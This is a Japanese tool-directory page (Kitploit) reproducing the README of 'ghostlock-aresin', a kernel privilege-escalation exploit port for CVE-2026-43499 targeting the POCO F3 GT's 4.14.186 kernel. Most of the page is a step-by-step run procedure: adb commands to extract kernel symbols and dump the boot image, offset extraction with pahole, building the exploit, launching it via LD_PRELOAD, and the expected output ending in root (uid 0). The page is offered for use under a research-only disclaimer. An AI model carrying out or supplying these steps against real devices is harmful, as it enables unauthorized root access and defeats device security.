Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
ghostlock-aresin — GhostLock(CVE-2026-43499)— POCO F3 GT(aresin)向けエクスプロイト:MediaTek Dimensity 1200、Linux 4.14.186 ARM64 カーネルにおける futex PI チェーン操作を介した権限昇格 | Kitploit
ツール/GitHubGitHub/nothingfumo/ghostlock-aresin
Androidセキュリティ特権昇格脆弱性分析エクスプロイトリバースエンジニアリングモバイルセキュリティバイナリエクスプロイト
GitHubnothingfumo/ghostlock-aresin

ghostlock-aresin

GhostLock(CVE-2026-43499)— POCO F3 GT(aresin)向けエクスプロイト:MediaTek Dimensity 1200、Linux 4.14.186 ARM64 カーネルにおける futex PI チェーン操作を介した権限昇格

リポジトリを見る
424日前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

GhostLock (CVE-2026-43499) — POCO F3 GT (aresin)

MediaTek Dimensity 1200(MT6893)向けのデータのみの physmap 上書きエクスプロイト。 カーネル: 4.14.186-android13 / MIUI V14.0.4.0.TKJCNXM。

⚠️ 前提条件

  • デバイス: POCO F3 GT / Redmi K40 Gaming Edition (codename: aresin)
  • チップ: MediaTek Dimensity 1200 (MT6893)
  • システム: Android 13 / MIUI 14 (V14.0.4.0.TKJCNXM)
  • カーネル: 4.14.186-g0dc1d312efb3
  • BL ロック解除不要 — Shizuku(ワイヤレスデバッグ)経由でシェル権限を取得して実行可能
  • Shizuku または adb shell で arm64 バイナリを実行可能
  • 実行後、デバイスは再起動します(カーネルパニック — 想定される動作)。ログを保存したい場合は、事前に adb logcat を接続しておいてください

✅ 脆弱性条件の確認

条件状態説明
カーネルバージョン範囲✅4.14.186 は 2.6.39 ~ 7.0.4 の範囲内
CONFIG_FUTEX_PI✅有効 (y)
CONFIG_RT_MUTEXES✅有効 (y)
アーキテクチャ✅aarch64
CONFIG_PREEMPT✅有効 (y)
CONFIG_RANDOMIZE_KSTACK❓要確認 (4.14 では非対応の可能性)

🔧 適用手順

ステップ 1:カーネルシンボルアドレスの抽出

root@kitploit:~
# 在设备上运行提取脚本
adb push tools/extract_offsets.sh /data/local/tmp/
adb shell sh /data/local/tmp/extract_offsets.sh
adb pull /data/local/tmp/ghostlock_offsets.txt

root(Magisk)がある場合は、/proc/kallsyms から直接抽出できます:

root@kitploit:~
adb shell su -c "cat /proc/kallsyms | grep -E 'init_task|init_cred|entry_task|__per_cpu_offset|root_task_group|selinux_enforcing'"

ステップ 2:vmlinux の抽出と構造体オフセットの解析

方法 A:boot.img から vmlinux を抽出

root@kitploit:~
# 1. 获取 boot.img
adb shell "ls /dev/block/by-name/boot"
adb shell "dd if=/dev/block/by-name/boot of=/data/local/tmp/boot.img"
adb pull /data/local/tmp/boot.img

# 2. 用 magiskboot 解包
magiskboot unpack boot.img
# 产物: kernel (压缩的 vmlinux)

# 3. 解压 vmlinux
magiskboot decompress kernel vmlinux.elf

# 4. 用 pahole 提取结构体偏移
pahole --structs=rt_mutex_waiter vmlinux.elf
pahole --structs=task_struct vmlinux.elf | grep -A2 -E "usage|prio|normal_prio|pi_lock|pi_waiters|pi_top_task|pi_blocked_on|cred|real_cred|task_group"

方法 B:Ghidra での解析

  1. Ghidra で vmlinux.elf を開く
  2. rt_mutex_waiter と task_struct 構造体を検索する
  3. 各フィールドのオフセットを記録する

ステップ 3:target.h の記入

抽出したオフセットを、target.h 内のすべての 0xTODO の位置に記入します。

主要オフセット対応表:

ステップ 4:コンパイル

root@kitploit:~
# 需要 Android NDK r27+
export NDK_ROOT=/path/to/android-ndk-r27
# 或使用 Android Studio 中的 NDK
export NDK_ROOT=$HOME/Library/Android/sdk/ndk/27.0.12077973

# 编译
make preload TARGET_HEADER=target.h

# 产物: build/bin/preload.so

ステップ 5:テスト

root@kitploit:~
# 推送到设备
adb push build/bin/preload.so /data/local/tmp/
adb push build/bin/ghostlock_aresin /data/local/tmp/ 2>/dev/null || true

# 运行
adb shell LD_PRELOAD=/data/local/tmp/preload.so /data/local/tmp/ghostlock_aresin

# 或用 Shizuku
# 在 Shizuku 中执行: LD_PRELOAD=/data/local/tmp/preload.so /data/local/tmp/ghostlock_aresin

📊 想定される動作

⚠️ 重要な注意事項

4.14.x と 6.1.x のカーネル差異

  1. rt_mutex_waiter の構造が異なる:

    • 4.14.x は rb_node ではなく plist_node を使用する
    • フィールドオフセットが完全に異なる
    • deadline / ww_ctx フィールドがない可能性がある
  2. task_struct のレイアウトが異なる:

    • 4.14.x の pi_blocked_on、pi_lock などのオフセットは 6.1.x と異なる
    • uclamp 関連フィールドは 4.14.x には存在しない可能性がある
  3. KASLR の実装が異なる:

    • 4.14.x の KASLR ランダム化方式は 6.1.x と異なる
    • リーク方法の調整が必要になる可能性がある
  4. Android 13 と 14 のセキュリティ差異:

    • SELinux ポリシーが異なる可能性がある
    • /proc/self/pagemap のアクセス制限が異なる可能性がある

オフセット検証

オフセットを記入したら、Ghidra で相互検証することを推奨します:

  1. Ghidra で vmlinux.elf を開く
  2. rt_mutex_waiter 構造体にジャンプする
  3. 各フィールドのオフセットが target.h と一致することを確認する

📁 ファイル構成

root@kitploit:~
ghostlock-aresin/
├── README.md              # 本文件
├── Makefile               # 编译脚本
├── target.h               # 目标设备偏移定义 (需要填写)
├── src/                   # 源码
│   ├── main.c             # 主利用逻辑
│   ├── util.c             # 工具函数
│   ├── slide.c            # KASLR 泄漏
│   ├── fops.c             # 文件操作
│   ├── pipe.c             # pipe 相关
│   ├── preload.c          # LD_PRELOAD 入口
│   ├── su_daemon.c        # su 守护进程
│   ├── su_blob.S          # su 二进制嵌入
│   ├── standalone.c       # 独立运行
│   ├── common.h           # 公共定义
│   └── offset.h           # 偏移计算
├── tools/
│   └── extract_offsets.sh # 偏移提取脚本
└── build/
    ├── bin/               # 编译产物
    └── embed/             # 嵌入文件

📜 License

研究・教育目的のみ。自己責任で使用してください。

オリジナル PoC: NebuSec/CyberMeowfia → IonStack/CVE-2026-43499/exploit/ 移植先: POCO F3 GT (aresin) by ghostlock-aresin

ツールをダウンロード
フィールド説明抽出方法
INIT_TASKinit_task のアドレス/proc/kallsyms または Ghidra
INIT_CREDinit_cred のアドレス/proc/kallsyms または Ghidra
WAITER_*_OFFrt_mutex_waiter のフィールドオフセットpahole / Ghidra
FAKE_TASK_*_OFFtask_struct のフィールドオフセットpahole / Ghidra
TASK_CRED_OFFcred ポインタのオフセットpahole / Ghidra
段階出力説明
初期化[*] GhostLock - aresin (MT6893 D1200) 4.14.186デバイスが正しく認識された
CPU バインド[+] CPU0 pinnedCPU0 に固定
アドレスロード[*] init_task @ 0xffffffc00xxxxxxx固定 LM アドレス
権限チェック[+] uid: xxxxx現在の uid を表示
KASLR slide[+] slide = 0 または slide = xxxKASLR 検出
権限昇格トリガー成功すると uid が 0 になるroot を取得
失敗[-] ... + 再起動カーネルパニック(脆弱性は存在するが、オフセットの調整が必要)